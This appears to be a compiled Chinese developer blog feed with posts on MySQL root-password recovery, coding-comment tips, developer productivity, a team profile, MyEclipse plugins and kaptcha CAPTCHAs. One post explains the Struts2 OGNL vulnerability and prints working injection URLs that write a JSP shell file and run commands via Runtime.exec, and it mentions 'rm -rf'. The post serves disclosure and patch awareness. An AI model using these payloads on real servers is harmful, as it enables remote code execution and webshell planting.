20个自然界令人叹为观止的奇景,如此奇景,只能以鬼斧神工来说了啊!原网址:http://travel.cn.yahoo.com/t/newspic/travel/11277/
年过完了,新一年又开始喽!吼吼!同事的mysql忘记了root密码,我也整理测试了下,此方法可以行的通的。环境是windows,linux下面应该也可以的,就是执行mysql命令而已。1.结束mysql的服务net stop mysql5_pn2.打开dos窗口,切换到mysql的bin目录下cd D:serverPHPnow-1.5.6MySQL-5.0.90binmysqld-nt –skip-grant-tables注释:该命令通过跳过权限安全检查,开启mysql服务,这样连接mysql时,可以不用输入用户密码。此时这个dos窗口会静止了,不管,就是开启了mysql的服务。3.继续重新打开一个新的dos窗口,切换到mysql的bin目录下cd D:serverPHPnow-1.5.6MySQL-5.0.90binmysql这样就进入mysql了,继续。use mysql选择切换到mysql的数据库,继续。update user set password=password(‘123456as’) where user=’root’;修改root的密码为123456as,继续。flush privileges;刷新权限,继续。quit退出,就结束了,可以把所有的dos关闭了。4.启动mysql服务,登录net start mysql5_pn启动mysql服务mysql –u root –p进入mysql数据库,输入密码123456as就完毕了,如果还没有成功,就要看下你的人品了!关键的命令都用红色标记出来了,跟着操作就可以了。
刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt还是热乎的,我大概白话一下。这个漏洞的级别很高,都升级修补一下。影响版本是2.3.1和2.3.1之前的版本解决办法是升级2.3.1.1漏洞原理(自己理解的)Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。例如处理请求配置这样<action name="Test" class="example.Test"> <result name="input">test.jsp</result></action>通过ONGL就可以转换成/Test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b’oh!god!系统权限就有了,想干什么,就可以干什么了。或者这样/Test.action?id=’%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec(‘calc’))%2b’想执行什么就可以执行什么了。比如 rm –rf /root..我根据说明做了一下测试jdk:1.6struts:2.2.1代码如下:struts.xml 1:<?xmlversion="1.0"encoding="UTF-8" ?> 2:<!DOCTYPEstrutsPUBLIC 3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 4:"http://struts.apache.org/dtds/struts-2.0.dtd"> 5:<struts> 6:<packagename="default"namespace="/"extends="struts-default"> 7:<actionname="test"class="me.dapeng.action.Test"> 8:<resultname="input">test.jsp</result> 9:</action> 10:</package> 11:</struts>Test.java 1:package me.dapeng.action; 2: 3:import com.opensymphony.xwork2.ActionSupport; 4: 5:/** 6: * 7: * @ClassName:Test.java.java 8: * @ClassDescription:测试Struts2漏洞 9: * @Author:dapeng 10: * @CreatTime:2012-1-9 下午1:45:36 11: * 12: */ 13:publicclass Test extends ActionSupport { 14:long id; 15: 16: @Override 17:public String execute() throws Exception { 18: System.out.println("execute input"); 19:return"input"; 20: } 21: 22:publiclong getId() { 23:return id; 24: } 25: 26:publicvoid setId(long id) { 27:this.id = id; 28:…
13个代码注释的小技巧 这篇文章是由José M. Aguilar在他卓越的博客中以西班牙语的形式首发,其后Timm Martin在获得Aguilar先生的授权下,对该文章进行翻译、修改,并且在DevTopics上发布。以下13个小技巧可以使得你的代码在长时间内依然能够保持容易理解和维护。1. 对不同级别的代码进行注释对于不同级别的代码块,要使用统一的方法来进行注释。例如:对于每一个类,需要包含一段简明扼要的描述,作者和上一次修改的时间对于每一个方法,需要包含这个方法的用途,功能,参数以及返回结果当你在一个团队里面的时候,采用一套注释的标准是非常重要的。当然,使用一种大家都认可的注释约定和工具(例如C#的XML注释和Java的Javadoc)在一定程度上能推动这项任务。2. 使用段落注释首先把代码块分解成多个“段落”,每一个段落都执行单一的任务;然后在每一个“段落”开始之前添加注释,告诉阅读代码的人接下来的这段代码是干什么用的复制内容到剪贴板代码:// 检查所有记录都是正确的foreach (Record record in records){ if (rec.checkStatus()==Status.OK) { . . . }}// 现在开始进行处理Context ctx = new ApplicationContext();ctx.BeginTransaction();. . .3. 对齐注释行对于那些在行末写有注释的代码,应该对齐注释行来使得方便阅读const MAX_ITEMS = 10; // maximum number of packetsconst MASK = 0x1F; // mask bit TCP有些开发人员使用tab来对齐注释,而另外一些人会用空格来对齐。由于tab在不同的编辑器和集成开发环境中会有所不同,所以最佳的方法是使用空格来对齐注释行。4. 不要侮辱阅读者的智慧要避免没用的注释,例如复制内容到剪贴板代码:if (a == 5) //如果a等于5 counter = 0 //把counte设为0这不单把时间浪费在写没用的注释上面,同时也在分散读者的注意力。5. 要有礼貌应当避免没有礼貌的注释,例如“要注意一些愚蠢的用户会输入一个负数”,或者“修正由菜鸟工程师写的愚蠢得可怜的代码而导致的副作用”。这样的注释对于代码的写注释的人来说并没有任何好处,同时你永远都不会知道将来这些注释会被谁来阅读,你的老板,一个客户或者是刚才被你数落的愚蠢得可怜的工程师。6. 直截了当不要在注释里面写过多的废话。避免在注释里面卖弄ASCII艺术,写笑话,作诗和过于冗长。简而言之就是保持注释的简单和直接。7. 使用统一的风格有些人觉得注释应该让非程序员也能看懂。另外一些人觉得注释需要面对的读者只是程序员。无论如何,正如Successful Strategies for Commenting Code中所说的,最重要的是注释的风格需要统一,并且总是面向相同的读者。就自己而论,我怀疑非程序员是否会去读代码,所以我觉得注释应该面向程序员来写。8. 在内部使用特殊的标签当你在一个团队里工作的时候,采用一组一致的标签能帮助不同的程序员沟通。例如,很多团队会采用“TODO”标签来表示一段尚未完成的代码复制内容到剪贴板代码:int Estimate(int x, int y){ // TODO: implement the calculations return 0;}标签注释并不会解释代码,它们寻求注意或者是传递信息。但是如果适当地使用这种技术,要记住跟进这段代码并且完成该标签传递的任务。9. 在写代码的同时添加注释当你在写代码而且记忆犹新的同时就添加注释。如果等到项目后期才添加注释,会让你事倍功半。“我没有时间写注释”,“我的时间很紧迫”和“项目已经延迟了”,这些都是不写注释的常见借口。有些工程师觉最佳的解决方法是“注释先行”。例如:复制内容到剪贴板代码:public void ProcessOrder(){ // Make sure the products are available // Check that the customer is valid // Send the order to the store // Generate bill}10. 把自己想象为注释的读者(事实上就是如此)当你正在给代码写注释的时候,不仅仅为日后维护你的代码的开发者考虑,同时也设想一下如果自己就是注释的读者。Phil Haack曾经说过:“一旦一行代码被敲到文件中, 你就已经要开始维护那一行代码了。”所以,我们自己就是好(或者坏)注释的第一个受益者(或者受害者)。11. 更新代码的时候要更新注释如果注释没有随着代码的修改而更新,那么这些注释将是毫无意义的。代码和注释需要同步,否则注释只会让维护代码的开发者更加痛苦。需要特别注意的是,一些重构的工具会自动更新代码,但是却没有自动更新注释,那么注释就自然而然地过期作废了。12. 良好可读性代码是注释的金科玉律对于很多开发者来说,一个基本的原则就是:让代码自己描述自己。虽然有人怀疑这是由不喜欢写注释的程序员所倡导的一场运动,但是无需解释的代码有很大的好处,这些代码更加容易理解甚至让注释变得没有必要。例如,在我的文章Fluid Interfaces中就给大家展示了什么是清晰的无需解释的代码。复制内容到剪贴板代码:Calculator calc = new Calculator();calc.Set(0);calc.Add(10);calc.Multiply(2);calc.Subtract(4);Console.WriteLine( “Result: {0}”, calc.Get() );在这个例子里面,注释就像是违反了第4条技巧那样,变得毫无必要。要写出可读性好的代码,你需要使用适当的命名方式(在经典的Ottinger’s Rules中有阐述),保证恰当的缩进,并且采用编码风格指导。如果代码不遵守这条技巧,那么注释看起来就好像是为自己不好的代码的写道歉信一样。13. 跟你的同事分享这些技巧虽然从第10条技巧中我们已经知道了自己就是好注释的得益者,但是这些技巧对于所有的开发者来说都是很有帮助的,尤其是整个团队都有相同共识的情况下。因此,大方地跟你的同事去分享这些技巧,让我们写出更加容易理解和维护的代码。
Brad Feld的一篇文章The Rise of Developeronomics中提到了“10倍效率的开发者(10x developer)”的概念(伟大的开发者的效率往往比一般的开发者高很多,而不只是一点点),Adam Loving在读了之后受到启发,并向多位大牛(Ben Sharpe、Collin Watson和Jonathan Locke)询问如何成为“10倍效率的开发者”,最后得到了以下的答案。 1. 只做需要做的工作使用敏捷方法;全心全意做UX设计;沟通第一;编码也许不是解决问题的办法;过早的优化是一切罪恶的根源;选择最简单的解决方案。2. 站在巨人的肩膀上使用开源框架;使用简洁语言(如HAML、Jade、Coffeescript);不要做重复的事情(不要重新发明轮子);利用包管理器来进行公共和私有代码分配;不要任凭巨头(如微软)的摆布而修复库中的一个Bug;不要让你的雇主逼你学习;自主学习并为自己设定新的目标。3. 了解数据结构和算法如果你不知道什么时候应该使用快速排序、不懂辨认O(n2)程序、不会写递归函数,你将无法成为10倍效率的开发者。使用多种语言你才能清楚不同的框架是如何解决相同问题的。尽可能去了解底层命令(plumbing),以便能够作出明智的决定(Web框架是怎么存储session状态的?Cookie到底是什么?)。 4. 不要怕买工具,它可以节省你的时间Ben说:“昨天我花50美元买了一个位图字体工具,它帮我节省的时间成本绝对超过200元。” 5. 集中注意力不要整天开着你的电子邮件、Twitter、Facebook等,在工作时将它们最小化或关掉它们,戴上耳机。Tiny hack说:“即使不听音乐我也戴着耳机工作,这样便不会有人打扰到我。” 6. 尽早并且经常性地进行代码重构有时,你不得不放弃漂亮的代码转而去寻找真正对项目有用的代码,但没关系,如果你的现有项目中有这样的代码,最好的方式便是不要看它,并重构。 7. 只管去做将你的业余项目分享到Startup Weekend中。在我开始转到Unix和Ruby on Rails上之前,我买了一台Mac,使用Windows虚拟机花了一年时间做.NET项目。 8. 挑选一个编辑器,并掌握它高效开发者喜欢用文本编辑器胜过IDE编辑器,因为这样可以学到更多东西。无论什么情况,尽量使用键盘快捷键,因为熟练使用一件工具的前提是熟悉它。 在选择编辑器时,认真考虑并挑选最好的(Emacs或Vim),因为它们是通用的。其次,挑选你的首选平台最支持的。使用宏,不断地写代码;使用Mac上的TextExpander为整个段落创建快捷方式;使用Visual Studio或SublimeText的自动补齐功能;使用支持按行/列分割窗口的编辑器,这样你便能同时看到单元测试和代码(或模型、视图)。 一定要想清楚后再写代码。Adam说,“我有朋友在一个大项目组里工作,他们组里最高效的程序员是一个高位截瘫用嘴叼着棍子敲代码的人,他总是在写代码之前想得很仔细且很少出错。” 9. 整洁的代码胜过巧妙的代码要想让其他人能够读懂你的代码,尽量使用最少的代码来完成任务。遵循DRY(Don’t repeat yourself)的原则,使用明确定义的对象和库,将任务分解成小而简单的代码段。 10. 潜意识是强大的工具离开10分钟往往就可以解决一个问题。控制编程时间,给自己一个多姿多彩的生活,劳逸结合能让你在工作时更高效、更愉悦。当然,即便是上了年纪的程序员也知道,以最少的时间完成最高效的工作是成为10倍效率开发者的必要条件。 作为一个程序员,我觉得在职业生涯中最好的一件事儿就是从电脑前站起来,去拜访那些在某一领域有所建树的人们。 11. 推动自身和团队进步重视批评,以包容的态度接受批评并提升自己是非常重要的事情。没有这个基础,你不可能成为一个高效的开发者。一位智者曾经说过:“聪明的人善于从自己的错误中学习,而智慧的人善于从别人的错误中学习。” 英文原文:http://adamloving.com/internet-programming/10x-developers原文网址:http://www.iteye.com/news/23799
团队成了优秀团队,在公司周刊上面的介绍,哈哈!非常6+1 —营销平台小组文/技术部 顾蕾非常6+1成员从左往右依次为:尹东勇、赵睿、周健、沈凤飞、赵鹏、张乔乔非常6+1 — 6个人 , 一个营销平台 。 年龄从23-30不等 ,组成了一个团队-营销平台小组。他们的辛勤劳作:顺利圆满完成了23个营销活动,1 3个营销平台功能需求,二期割接,集中封闭三期平台建设。他们的顽强表现:一年中的250多个夜晚,出现在旭建3号办公室;无数个傍晚,啃着面包和快要冷却的快餐;每天中午, 出现在最经济的新城食堂, 拥挤在人群中排队等来一顿十块钱的便当。尹东勇-承担短信PUSH能力层、 任务调度 、 10658838、8899的短PUSH高速群发 、 任务调度 、 审批等工作。 作为营销平台最热心的大师兄, 有问题吆喝一声, 以最简洁的方法定位问题,最快的速度处理BUG,最简练的语言回答疑问。一个喜欢篮球, 喜欢爬山, 喜欢文艺的青年, 他的时间精力献给了营销平台。乔乔-负责彩信能力层、 群发接口层的10658899彩信群发与接收、状态报告解析、用户回访分析、外系统调用等。 营销平台的二师兄, 幽默风趣的个人签名, 滑稽的表情, 经常会将大家逗乐。 天籁的歌喉吐露心中些许的苦闷。 身在异乡 ,时长想起家中的妻儿, 一成不变的黑色外套, 已经反复穿了一周又一周。沈凤飞、 赵睿2人辛勤为营销活动、 一期 、 3期的群发用户、 营销活动管理等紧急工作忙碌着。 凤飞, 见证了营销平台的成长历程, 从还未成形的平台到今天已经完工的三期平台, 问其休息都是码代码。 一次偶然的机会, 发现这小伙是个音乐小天才, 葫芦丝 , R&B, 动与静的结合, 古与今的交汇, 无一不赞。 赵睿,营销平台年龄最小, 也是最为帅气的一个,今年七月份刚入职,便投身到无日无夜的奋战中, 年轻是最大的资本,勤学好问是最大的优点,带着一股激情,一鼓作气将三期平台的建设顺利完工。赵鹏-作为团队的基础核心人员,为营销平台的接口层、基础平台搭建兢兢业业的埋头苦干, 独自开发的自有监控工具为平台安全保驾护航。喜欢篮球的他,平时还爱好钓鱼,正是这股耐力, 才让我们的营销平台在经过多次考验后依旧坚挺。走进旭建办公室的3号, 右手边第二排靠墙, 座位下面摆放了一双泛白的黑色单鞋, 鞋底已经开胶 。 桌上, 一只圆珠笔, 一个茶叶罐, 一个电脑散热器, 一瓶眼药水, 几包感冒药。 打开电脑, 电脑的桌面, 呈现的是未满周岁的可爱的女婴笑脸。 这是团队负责人周健的座位, 先后带领了十来个研发人员, 在小组成员的心中, 一直把他当做亲人看待, 人称“大叔” 。2012年 , 非常6+1 , 会翻开崭新的一页, 我们期待一个非常不一样的平台。 哈哈!非常6+1还有另外一层的结束,6个技术控,1位大美女-顾蕾。偷了一张蕾蕾的照片出来。自从来了蕾蕾之后,我们组就活跃起来了,两年团队没有一次一起出去活动过,现在动不动就能一起活动活动了,发现的人才,三年在一起的“大叔”竟然是个歌手。从照片看,就个萌女啊!哈哈!
myeclipse7以前都是可以很容易通过link方式来安装eclipse的插件的,自从myeclipse7以后,myeclipse修改的安装配置的方式,直接用link方式安装插件很麻烦,这里找到一个用link方式的插件配置代码的生成器,用这个安装,简单的一米,推荐必备软件。步骤如下1.比如给myeclipse10安装hibernate的插件,我的hibernate插件之前是eclipse3.2的版本安装的里面。在D:toolsMyEclipse 10MyEclipse 10建立myplugins文件,将hibernate插件放入文件中,不要有eclipse的目录。hibernate插件目录如下 D:toolsMyEclipse 10MyEclipse 10mypluginshibernatepluginscom.hudson.hibernatesynchronizer_3.1.9_lclgv1.02.使用MyEclipse插件配置代码生成器,修改里面的路径import java.io.File;import java.util.ArrayList;import java.util.List;/** * *@ClassName : PluginConfigCreator@ClassDescription : MyEclipse插件配置代码生成器@Author : dapeng@CreateTime : 2011-12-18 下午8:39:31 */public class PluginConfigCreator {public PluginConfigCreator() {}public void print(String path) { List<String> list = getFileList(path); if (list == null) { return; } int length = list.size(); for (int i = 0; i < length; i++) { String result = ""; String thePath = getFormatPath(getString(list.get(i))); File file = new File(thePath); if (file.isDirectory()) { String fileName = file.getName(); if (fileName.indexOf("_") < 0) { print(thePath); continue; } String[] filenames = fileName.split("_"); String filename1 = filenames[0]; String filename2 = filenames[1]; result = filename1 + "," + filename2 + ",file:/" + path + "/" + fileName + "\,4,false"; System.out.println(result); } else if (file.isFile()) { String fileName = file.getName(); if (fileName.indexOf("_") < 0) { continue; } int last = fileName.lastIndexOf("_");// 最后一个下划线的位 置 String filename1 = fileName.substring(0, last); String filename2 = fileName.substring(last + 1, fileName.length() - 4); result…
为了防止程序破解系统登录,一般都会采用登录+验证码的措施。kaptcha是我用到的最好用的一个验证码工具,使用非常的简单。瞧瞧我在项目中使用的效果吧!感觉还是很不错的。使用方法:1.当然是下载kaptcha的jar包了kaptaca的地址:http://code.google.com/p/kaptcha/我在下面也提供一个我修改的版本,修改点下面说。2.在web.xml中增加配置 1:<servlet> 2:<servlet-name>Kaptcha</servlet-name> 3:<servlet-class>com.google.code.kaptcha.servlet.KaptchaServlet</servlet-class> 4:</servlet> 5:<servlet-mapping> 6:<servlet-name>Kaptcha</servlet-name> 7:<url-pattern>/kaptcha.jpg</url-pattern> 8:</servlet-mapping>3.在需要的页面进行调用 1:<imgsrc="Kaptcha.jpg"> 2:<formmethod="POST"> 3:<br>验证码:<inputtype="text"name="kaptchafield"><br/> 4:<inputtype="submit"name="submit"> 5:</form>4.验证 1: String key = (String)session.getAttribute(com.google.code.kaptcha.Constants.KAPTCHA_SESSION_KEY); 2: String parm = (String) request.getParameter("kaptchafield"); 3: 4: out.println("验证码的值: " + key+"<br />"); 5: out.println("您输入的值: " + parm); 6: 7:if (key != null && parm != null) { 8:if (key.equals(parm)) { 9: out.println("<b>验证成功</b>"); 10: } else { 11: out.println("<b>验证失败</b>"); 12: } 13: }看看效果来效果还不错的,就是美化不怎么好,好在kaptcha的自定义功能很强,可以根据需要自定义自己的效果。kaptcha的配置属性**Constant****Description****Default** kaptcha.border 是否有边框 默认为yes 我们可以自己设置yes,no yes kaptcha.border.color 边框颜色 默认为Color.BLACK black kaptcha.border.thickness 边框粗细度 默认为1 1 kaptcha.image.width 验证码图片宽度 默认为200 200 kaptcha.image.height 验证码图片高度 默认为50 50 kaptcha.producer.impl 验证码生成器 com.google.code.kaptcha.impl.DefaultKaptcha kaptcha.textproducer.impl 验证码文本生成器 com.google.code.kaptcha.text.impl.DefaultTextCreator kaptcha.textproducer.char.string 验证码文本字符内容范围 abcde2345678gfynmnpwx kaptcha.textproducer.char.length 验证码文本字符长度 5 kaptcha.textproducer.char.space 验证码文本字符间距 默认为2 2 kaptcha.textproducer.font.names 验证码文本字体样式 默认为new Font("Arial", 1, fontSize), new Font("Courier", 1, fontSize) Arial, Courier kaptcha.textproducer.font.size 验证码文本字符大小 40px. kaptcha.textproducer.font.color 验证码文本字符颜色 默认为Color.BLACK black kaptcha.noise.impl 验证码噪点生成对象 com.google.code.kaptcha.impl.DefaultNoise kaptcha.noise.color 验证码噪点颜色 默认为Color.BLACK black kaptcha.obscurificator.impl 验证码样式引擎 默认为WaterRipple com.google.code.kaptcha.impl.WaterRipple kaptcha.background.impl 验证码背景生成器 默认为DefaultBackground com.google.code.kaptcha.impl.DefaultBackground kaptcha.background.clear.from 验证码背景颜色渐进 默认为Color.LIGHT_GRAY light grey kaptcha.background.clear.to 验证码背景颜色渐进 默认为Color.WHITE white kaptcha.word.impl 验证码文本字符渲染 默认为DefaultWordRenderer com.google.code.kaptcha.text.impl.DefaultWordRenderer kaptcha.session.key 放入session的key名称 KAPTCHA_SESSION_KEY kaptcha.session.date…